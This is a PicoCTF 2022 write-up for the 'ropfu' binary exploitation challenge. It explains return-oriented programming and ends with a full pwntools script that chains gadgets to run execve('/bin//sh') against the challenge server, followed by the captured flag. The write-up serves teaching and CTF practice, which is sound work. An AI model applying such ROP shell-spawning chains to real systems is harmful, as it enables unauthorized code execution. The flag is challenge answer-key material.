PicoCTF 2022

Category: Binary Exploitation

ropfu (300 points)

What’s ROP?

Well, that’s a great question! ROP stands for Return Oriented Programming. It’s a bit of a vague, confusing, and maybe esoteric name at first, but essentially it’s meant as a way to execute somewhat arbitrary code while also bypassing ASLR (Address Space Layout Randomization), which is essentially a technology that makes it very difficult to perform the standard classic method of performing a buffer overflow and executing shellcode that you dump on the stack.

If you look at the actual C code provided to us, you can see that there’s no function we can easily jump to, unlike, for example, the buffer_overflow_X challenges. That’s because the goal here isn’t to jump somewhere that runs everything we need done for us, but rather to somehow make us run the code.

So, back to what ROP actually is, it’s essentially utilizing instructions already present within the application (which are trusted) against itself to perform actions we want. Afterwards, usually, in the end will be some type of instruction letting us know to jump somewhere (it’s almost always ret, since that means it jumps to whatever the Instruction Pointer is set to, which is what we control).

For instance, let’s say we want to set register EDX to, I don’t know, 0xdeadbeef. This can be done by finding some sort of memory address we can jump to that pops an arbitrary value we want EDX to be off the stack, and then returning, so our controlled Instruction Pointer can continue executing along the ROP chain (ROP gadgets chained together). This will be the pop edx instruction.

We won’t always find clean instructions like pop edx; ret, but you get the idea. Sometimes we may only be left with monstrosities like:

  • pop edx; pop ebx; mov edx, ebx; pop eax; mov ebx, 0; cry; jmp 0x151251

But ultimately it’s just jumping to one chain of trusted instructions we want to be executed, then jumping to another, almost as if we’re making the target application executing our own code. Think of it as a more advanced and sophisticated version of a buffer overflow; just multiple destinations chained together, like a path of sorts, to paint a more grand picture.

Now, this technique is usually very limited. The only code we can execute is the ones available in the target binary. So, normally, most people use ROP to perform something like a syscall to execute /bin/sh, where a shell is opened, thus granting the attacker much more arbitrary and less limited access into the system. Which, given the hint of the challenge, is exactly what we need to do. So, let’s get down to it.

Since we are working with a 32 bit binary, in order to spawn up a shell process we must initiate a syscall (using the instruction int 0x80). Think of system calls like normal assembly call instructions, but instead of executing functions within the binary it executes functions within the system. In order to determine the function that must be run, the system looks at EAX to determine what function it must execute. In this case, it must equal 11, which corresponds to the unix command execve.

execve takes three arguments: the file path to open (stored in register EBX), the arguments to pass to it (stored in register ECX), and the environment variables that must be passed (stored in register EDX). Since we want the binary to run /bin/sh with no arguments (besides the filename), our goal is to have the registers set to:

  • EAX=11
  • EBX points to the memory address of string /bin/sh
  • ECX points to an array (argv[]), which in assembly is done by looking at a memory location and storing the memory locations of each value in the target array contiguously until a null-terminator block is reached. Think of it like how strings are stored, except instead of characters it’s memory addresses that point to each value in the array.
    • For example, since we want argv[] = {"/bin/sh"};
    • Assume that the memory address of string /bin/sh (the value stored in EBX) is 0x1234
    • Assume that we have another memory address, 0x5555, that has it’s value set to 0x1234, and has the stack address next to it set to a value of 0x0 (indicating an end-of-array)
    • 0x5555 = {0x1234 -> "/bin/sh"};
    • Infact, strings are also arrays. They are just arrays of characters. So, really: 0x5555 = {0x1234 = {'/','b','i','n', etc...}};
  • EDX points to an array (envp[]), which for our intents and purposes can just be set to 0x0 as we don’t need to concern ourselves with environment variables.

So all we need to do now is figure out how we can use ROP to set these registers to the appropriate values.

In order to get the actual gadgets, I used a tool called ROPgadget. This returned to me all the possible addresses we could jump to and what instructions would be run. Explaining my story here would be very monotonous and a big waste of time, so from here on I’ll just let the script do the talking.

Script


#!/usr/bin/python3
from pwn import *

#define our beginning payload parameters
payload = b"a"*28 #place junk until we get to the area where the instruction pointer is
writable_memory_addr = 0x080e62c0 #memory address where we can write to ($ objdump -x)

#gadgets used ($ ROPgadget --binary vuln --nojop)
address = lambda addr: pack(addr, endianness="little")
pop_eax = address(0x080b074a) #sets EAX to the value we provide
pop_ecx = address(0x08049e39) #makes it so we can pop ECX off the stack
inc_eax = address(0x0808055e) #increments EAX
clear_eax = address(0x0804fb90) #clears the EAX address by XORing it with itself
edx_to_eaxptr = address(0x0809e5d8) #moves data in EDX to the memory address mentioned in EAX
pop_edx_ebx = address(0x080583c9) #pops values from EDX and EBX into the respective registers
sys_interrupt = address(0x0804a3d2) #to initiate the syscall via int 0x80
eaxptr_to_edx = address(0x0809e55f) #moves the value EAX is pointing to to EDX, then replaces EAX with that value
eax_to_ecxptr = address(0x0808060d) #moves the value in EAX to the memory address that ECX is pointing to; then pops EBX off the stack

#firstly, in order to specify the /bin/sh parameter, we need to write it to the writable address
def write(to_write, offset):
    global payload

    #increment the counter by 4 (this will act as our memory offset)
    write_to = writable_memory_addr + offset #set the target address with the offset to ensure we don't overwrite

    #we must first place the address in eax, with the offset
    payload += pop_eax
    payload += address(write_to)

    #now, we must set EBX and EDX with our appropriate gadget
    #EDX's value gets added first, then EBX. since "pop" removes the earliest 4-byte value
    payload += pop_edx_ebx
    payload += to_write #EDX; the value to write to PTR[EAX]
    payload += address(writable_memory_addr) #EBX must be set to the address containing our payload, so this can be a constant

    #finally, we can invoke the write-what-where gadget to take the value in EDX and write it to our write_to address
    payload += edx_to_eaxptr

#set our parameters for the shell
write(b"/bin", 0)
write(b"//sh", 4)
write(address(writable_memory_addr), 12)

#we are now going to perform a bit different write function to make sure the string "/bin/sh" is null-terminated
#clear EAX (since we can't submit raw \x00 bytes in our payload; as they are null-terminators)
#then, add our target memory address to ECX
def write_zeroes(offset):
    global payload
    payload += clear_eax
    payload += pop_ecx
    payload += address(writable_memory_addr + offset)

#zero out offsets 8 and 16 (since the argv array needs to be null-terminated)
write_zeroes(8)
write_zeroes(16)

#perform the operation which moves the contents of EAX into the address in ECX
#after this we place the writable memory address, since "pop ebx" is also included in the bundle.
payload += eax_to_ecxptr
payload += address(writable_memory_addr)

#now, to set ECX to the final value, we simply set it to point to a location that contains our writable_memory_addr
#this is just going to be writable_addr with the offset of 12
payload += pop_ecx
payload += address(writable_memory_addr+12)

#to zero out EDX without submitting null bytes, we are going to set EAX to the memory address containing null values
#then, we will invoke the eax_ptr gadget to essentially turn EDX into 0x0
payload += pop_eax
payload += address(writable_memory_addr + 8)
payload += eaxptr_to_edx

#we are now done with everything and can set EAX to the appropriate value
#zero out EAX then increment it 11 times (to set it to 11; the syscall_execve number)
payload += clear_eax
payload += inc_eax*11

#send the interrupt
payload += sys_interrupt

#send the payload
#I almost forgot to do this, and was doing ./vuln <<< $(python3 ropfu.py) instead
#kept ripping my hair out regarding why the process kept terminating
#turns out doing the good ol' pipe method closes off STDIN and shuts off the terminal silently :D
#halleluja i figured that out i feel like a new person
#with process(["./vuln"]) as conn:
with remote("saturn.picoctf.net", 56521) as conn:
    conn.recvline()
    conn.sendline(payload)
    conn.interactive()

#picoCTF{5n47ch_7h3_5h311_6693b0b0}

Leave a Reply